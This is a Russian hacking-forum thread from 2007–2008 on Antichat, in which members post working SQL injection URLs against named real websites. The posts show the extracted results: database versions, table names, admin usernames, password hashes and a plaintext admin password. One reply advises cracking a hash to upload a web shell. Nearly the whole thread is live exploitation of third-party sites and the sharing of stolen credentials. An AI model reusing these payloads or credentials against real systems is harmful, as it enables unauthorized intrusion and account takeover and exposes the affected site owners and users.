FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 412 из 1602

412

Опции темы

Поиск в этой теме

Опции просмотра

27.12.2007, 04:14

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

Провел на форуме:
6905523

Репутация: 1174

SexSecrets.ru ^ ^

Код:

http://sexsecrets.ru/index.php?r=menlogic&id=-1+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4+--+

5.0.26:sexsecrets_ru@localhost:sexsecrets_ru

Таблицка:
phpbb_users
Столбцы:
user_id
username
user_password

Код:

http://sexsecrets.ru/index.php?r=menlogic&id=-1+union+select+1,concat_ws(0x3a,user_id,username,user_password),3,4+from+phpbb_users+limit+1,1/*

Код:

2:Admin:be245c9762fe4ae6f40bbf944e0de243

27.12.2007, 13:28

Mike 007

Познающий

Регистрация: 04.04.2007

Сообщений: 54

Провел на форуме:
189215

Репутация: 86

http://www.dovodchiki-dorma.ru/links/?cat=-1+union+select+user()/*

Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'

http://www.tsaritsyno.ru/main.jsp?id=-1+order+by+3/*

27.12.2007, 13:34

heks

Постоянный

Регистрация: 24.08.2007

Сообщений: 474

Провел на форуме:
1484154

Репутация: 126

Отправить сообщение для heks с помощью ICQ

http://www.taniec.ilife.pl/para.php?id=-1+order+by+2/*

27.12.2007, 14:05

Saint-Sky

Участник форума

Регистрация: 14.07.2007

Сообщений: 108

Провел на форуме:
1888785

Репутация: 305

Цитата:

Сообщение от heks

http://www.taniec.ilife.pl/para.php?id=-1+order+by+2/*

Эта запись ни о чем не говорит, ведь столбцов то - 4.

Код:

http://www.taniec.ilife.pl/para.php?id=-1+UNION+SELECT+1,2,3,concat(user(),0x3a,database(),0x3a,version())/*

taniec_adner@localhost:taniec_taniec:4.1.22-standard

27.12.2007, 13:45

Mike 007

Познающий

Регистрация: 04.04.2007

Сообщений: 54

Провел на форуме:
189215

Репутация: 86

www.onboard.ru

Код:

http://www.onboard.ru/resort/?id=-1+union+select+user()/*

Код:

http://s1912.zouo.ru/site.php?id=-1+union+select+user(),2,3/*

Последний раз редактировалось Mike 007; 27.12.2007 в 13:52..

27.12.2007, 15:08

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

Провел на форуме:
7215020

Репутация: 1423

http://dctel.net/index.php?page=-1+union+select+1,concat_ws(0x2F,version(),database (),user()),3,4/*

4.0.23a-log/dctel/dctel_user@localhost

-----------------------------------------------------------------------------

http://www.arbicon.ru/news/?id=-1+or+1=@@version--

Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Developer Edition on Windows NT 5.2 (Build 3790: Service Pack 1)

http://www.arbicon.ru/news/?id=-1+or+1=(select+db_name())-- portal

http://www.arbicon.ru/news/?id=-1+or+1=(select+system_user)-- portal

27.12.2007, 16:32

159932

Постоянный

Регистрация: 28.09.2007

Сообщений: 820

Провел на форуме:
6722038

Репутация: 1385

www.glukometr.ru

Цитата:

http://www.glukometr.ru/article.php?action=ViewArticle&ID=360+union+select +1,login,3,pass,5+from+users/*

5.0.45-community
login:admin
pass:123
де админка ненаю ((

27.12.2007, 16:42

NilsonUA

Познающий

Регистрация: 25.11.2007

Сообщений: 55

Провел на форуме:
493288

Репутация: 58

Отправить сообщение для NilsonUA с помощью ICQ

http://www.archivespro.ru/index.php?news=-18+union+select+1,2,concat(user(),0x3a,database(), 0x3a,version()),4,5,6,7,8,9,10,11,12/*

archive9_2@localhost:archive9_arhiv:4.1.22-log

27.12.2007, 16:50

Saint-Sky

Участник форума

Регистрация: 14.07.2007

Сообщений: 108

Провел на форуме:
1888785

Репутация: 305

2 159932

Посмотрел robots, по идее должна быть в /admin/, но там нету...

Попробуй таблицы от форума. (phpbb_users) - Если подберешь пасс, то можешь залить шелл...

Код:

http://www.glukometr.ru/article.php?action=ViewArticle&ID=360+UNION+SELECT+1,concat(username,0x3a,user_password),3,4,5+from+gurujen_forum.phpbb_users/*

Ольга:82e0839b64d121ef7154f2b8d5b27351:qween1

Последний раз редактировалось Saint-Sky; 27.12.2007 в 17:46..

#10

17.01.2008, 10:13

WhatUw81N4

Новичок

Регистрация: 16.01.2008

Сообщений: 1

Провел на форуме:
29258

Репутация: 0

Цитата:

Сообщение от Saint-Sky

Код:

http://www.glukometr.ru/article.php?action=ViewArticle&ID=360+UNION+SELECT+1,concat(username,0x3a,user_password),3,4,5+from+gurujen_forum.phpbb_users/*

Ольга:82e0839b64d121ef7154f2b8d5b27351:qween1

Администрация Форума!

Ольга : qween1